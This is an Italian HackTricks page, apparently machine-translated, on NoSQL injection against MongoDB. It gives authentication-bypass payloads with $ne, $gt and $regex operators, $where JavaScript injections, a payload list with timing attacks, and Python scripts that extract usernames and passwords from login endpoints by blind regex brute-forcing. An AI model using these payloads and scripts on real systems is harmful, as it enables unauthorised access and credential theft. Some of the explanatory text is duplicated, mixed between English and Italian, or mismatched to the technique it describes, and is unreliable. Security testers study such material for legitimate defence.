22 KiB
Iniezione NoSQL
Utilizza Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di github.
Sfruttare
In PHP è possibile inviare un Array modificando il parametro inviato da parameter=foo a parameter[arrName]=foo.
Gli exploit si basano sull'aggiunta di un Operatore:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Bypass di autenticazione di base
Utilizzando diverso ($ne) o maggiore ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
MongoDB è un database NoSQL molto popolare che utilizza una struttura di dati chiamata BSON (Binary JSON) per memorizzare i dati. A differenza dei database SQL tradizionali, MongoDB non utilizza il linguaggio SQL per interrogare i dati, ma un proprio linguaggio di query chiamato MongoDB Query Language (MQL).
Iniezione NoSQL
L'iniezione NoSQL è una tecnica di attacco che sfrutta le vulnerabilità presenti nelle query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite. Questa tecnica è simile all'iniezione SQL, ma viene utilizzata per attaccare i database NoSQL come MongoDB.
Tipi di iniezione NoSQL
Esistono diversi tipi di iniezione NoSQL che possono essere sfruttati per attaccare un database MongoDB:
-
Iniezione di query: in questo tipo di attacco, un attaccante inserisce codice malevolo all'interno di una query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite.
-
Iniezione di operatori: in questo tipo di attacco, un attaccante sfrutta gli operatori di query di MongoDB per ottenere informazioni non autorizzate o eseguire operazioni non consentite.
-
Iniezione di valori: in questo tipo di attacco, un attaccante sfrutta i valori inseriti all'interno di una query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite.
Prevenzione delle iniezioni NoSQL
Per prevenire le iniezioni NoSQL, è importante seguire le migliori pratiche di sicurezza, come:
-
Validazione dei dati di input: assicurarsi che i dati di input siano validi e conformi alle aspettative.
-
Utilizzo di librerie sicure: utilizzare librerie o framework che offrono funzionalità di sicurezza per prevenire le iniezioni NoSQL.
-
Limitazione dei privilegi: limitare i privilegi dell'utente del database per evitare che possa eseguire operazioni non consentite.
-
Monitoraggio delle query: monitorare le query eseguite sul database per individuare eventuali attività sospette o tentativi di iniezione NoSQL.
Conclusioni
L'iniezione NoSQL è una minaccia significativa per i database MongoDB e può consentire a un attaccante di ottenere informazioni sensibili o eseguire operazioni non autorizzate. È importante prendere le misure necessarie per prevenire queste vulnerabilità e proteggere i dati sensibili all'interno del database.
query = { $where: `this.username == '${username}'` }
Un attaccante può sfruttare ciò inserendo stringhe come admin' || 'a'=='a
, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia ('a'=='a'
). Questo è analogo agli attacchi di SQL injection in cui vengono utilizzati input come ' or 1=1-- -
per manipolare le query SQL. In MongoDB, possono essere effettuate iniezioni simili utilizzando input come ' || 1==1//
, ' || 1==1%00
, o admin' || 'a'=='a
.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Estrarre informazioni sulla lunghezza
To extract the length information from a NoSQL database, you can use the following techniques:
Per estrarre le informazioni sulla lunghezza da un database NoSQL, puoi utilizzare le seguenti tecniche:
Technique 1: $where operator
Tecnica 1: operatore $where
You can use the $where
operator to execute JavaScript code on the server-side. By injecting a JavaScript function that returns the length of a specific field, you can extract the length information.
Puoi utilizzare l'operatore $where
per eseguire codice JavaScript lato server. Iniettando una funzione JavaScript che restituisce la lunghezza di un campo specifico, puoi estrarre le informazioni sulla lunghezza.
db.collection.find({ $where: "this.field.length == 10" })
Technique 2: $regex operator
Tecnica 2: operatore $regex
The $regex
operator allows you to perform regular expression matching on a field. By injecting a regular expression that matches a specific length, you can extract the length information.
L'operatore $regex
ti consente di eseguire una corrispondenza di espressioni regolari su un campo. Iniettando un'espressione regolare che corrisponde a una lunghezza specifica, puoi estrarre le informazioni sulla lunghezza.
db.collection.find({ field: { $regex: /^.{10}$/ } })
Technique 3: $ne operator
Tecnica 3: operatore $ne
The $ne
operator allows you to find documents where a field is not equal to a specific value. By injecting a value that is not equal to any existing value, you can extract the length information.
L'operatore $ne
ti consente di trovare documenti in cui un campo non è uguale a un valore specifico. Iniettando un valore che non è uguale a nessun valore esistente, puoi estrarre le informazioni sulla lunghezza.
db.collection.find({ field: { $ne: null }, $where: "this.field.length == 10" })
By using these techniques, you can extract the length information from a NoSQL database during a penetration test.
Utilizzando queste tecniche, puoi estrarre le informazioni sulla lunghezza da un database NoSQL durante un test di penetrazione.
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Estrarre informazioni sui dati
NoSQL injection is a type of attack that targets NoSQL databases, which are non-relational databases that store data in a flexible, schema-less format. In a NoSQL injection attack, an attacker exploits vulnerabilities in the application's code to manipulate the database queries and extract sensitive information.
To extract data information from a NoSQL database, an attacker can use various techniques:
-
Boolean-based technique: This technique involves injecting boolean-based queries to determine if a specific condition is true or false. By carefully crafting the injected queries, an attacker can extract information by observing the application's response.
-
Time-based technique: In this technique, an attacker injects time-based queries that cause delays in the application's response. By measuring the time it takes for the application to respond, an attacker can infer information about the database.
-
Error-based technique: This technique involves injecting queries that intentionally cause errors in the application. By analyzing the error messages returned by the application, an attacker can gather information about the database structure and data.
-
Union-based technique: In a union-based attack, an attacker injects queries that combine the results of multiple queries into a single result set. By manipulating the injected queries, an attacker can extract data from different database tables.
To protect against NoSQL injection attacks, it is important to follow secure coding practices such as input validation, parameterized queries, and least privilege access controls. Regular security assessments and penetration testing can also help identify and mitigate potential vulnerabilities in the application.
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
MongoDB è un database NoSQL molto popolare che utilizza una struttura di dati chiamata BSON (Binary JSON) per memorizzare i dati. A differenza dei database SQL tradizionali, MongoDB non utilizza il linguaggio SQL per interrogare i dati, ma un proprio linguaggio di query chiamato MongoDB Query Language (MQL).
Iniezione NoSQL
L'iniezione NoSQL è una tecnica di attacco che sfrutta le vulnerabilità presenti nelle query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite sul database. Questa tecnica è simile all'iniezione SQL, ma viene utilizzata per attaccare database NoSQL come MongoDB.
Tipi di iniezione NoSQL
Esistono diversi tipi di iniezione NoSQL che possono essere sfruttati per attaccare un database MongoDB:
-
Iniezione di query: in questo tipo di attacco, un attaccante inserisce codice malevolo all'interno di una query per ottenere informazioni non autorizzate o eseguire operazioni non consentite.
-
Iniezione di operatori: in questo tipo di attacco, un attaccante sfrutta gli operatori di query per ottenere informazioni non autorizzate o eseguire operazioni non consentite.
-
Iniezione di valori: in questo tipo di attacco, un attaccante sfrutta i valori inseriti all'interno di una query per ottenere informazioni non autorizzate o eseguire operazioni non consentite.
Prevenzione delle iniezioni NoSQL
Per prevenire le iniezioni NoSQL, è importante seguire le seguenti best practice:
-
Validazione dei dati di input: assicurarsi che i dati di input siano validati correttamente prima di utilizzarli all'interno di una query.
-
Utilizzo di librerie sicure: utilizzare librerie o framework che offrono funzionalità di sicurezza per prevenire le iniezioni NoSQL.
-
Limitazione dei privilegi: limitare i privilegi dell'utente del database per ridurre il rischio di attacchi di iniezione NoSQL.
-
Monitoraggio delle query: monitorare le query eseguite sul database per individuare eventuali tentativi di iniezione NoSQL.
-
Aggiornamento regolare: mantenere il database e le librerie utilizzate aggiornate per beneficiare delle patch di sicurezza più recenti.
Conclusioni
L'iniezione NoSQL è una minaccia significativa per i database MongoDB e può consentire agli attaccanti di ottenere informazioni sensibili o eseguire operazioni non autorizzate. È importante adottare misure preventive per proteggere i database MongoDB da questo tipo di attacco.
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
Esecuzione Arbitraria di Funzioni in PHP
Utilizzando l'operatore $func della libreria MongoLite (utilizzata di default), potrebbe essere possibile eseguire una funzione arbitraria come riportato in questo report.
"user":{"$func": "var_dump"}
Ottenere informazioni da diverse collezioni
È possibile utilizzare $lookup per ottenere informazioni da una diversa collezione. Nell'esempio seguente, stiamo leggendo da una diversa collezione chiamata users
e ottenendo i risultati di tutte le voci con una password corrispondente a un carattere jolly.
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Payload MongoDB
Elenco da qui
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Script NoSQL Blind
Questo script è utilizzato per eseguire un attacco di NoSQL Injection in modo cieco. L'obiettivo è estrarre informazioni sensibili dal database utilizzando una serie di tentativi ed esaminando le risposte ottenute.
import requests
def check_password(payload):
url = "http://example.com/login"
data = {"username": "admin", "password[$regex]": payload}
response = requests.post(url, data=data)
return response.text
def blind_nosql_injection():
password = ""
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
while True:
for char in characters:
payload = f"^{password}{char}"
response = check_password(payload)
if "Successful login" in response:
password += char
break
if len(password) == 0 or password[-1] == "}":
break
return password
print(blind_nosql_injection())
Questo script esegue una serie di tentativi per estrarre la password dell'utente "admin" dal database. Utilizza una tecnica di NoSQL Injection cieca, in cui viene testata una serie di caratteri uno per uno fino a quando non viene trovato un match nella risposta del server. Una volta trovato un match, il carattere viene aggiunto alla password e il processo viene ripetuto fino a quando non viene completata l'intera password.
Per utilizzare lo script, è necessario sostituire l'URL "http://example.com/login" con l'URL del punto di accesso al sistema di login target.
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Forzare l'accesso con tentativi di login per username e password tramite POST login
Questo è uno script semplice che potresti modificare, ma gli strumenti precedenti possono anche svolgere questa attività.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Strumenti
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
Riferimenti
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.
Usa Trickest per creare e automatizzare facilmente flussi di lavoro basati sugli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}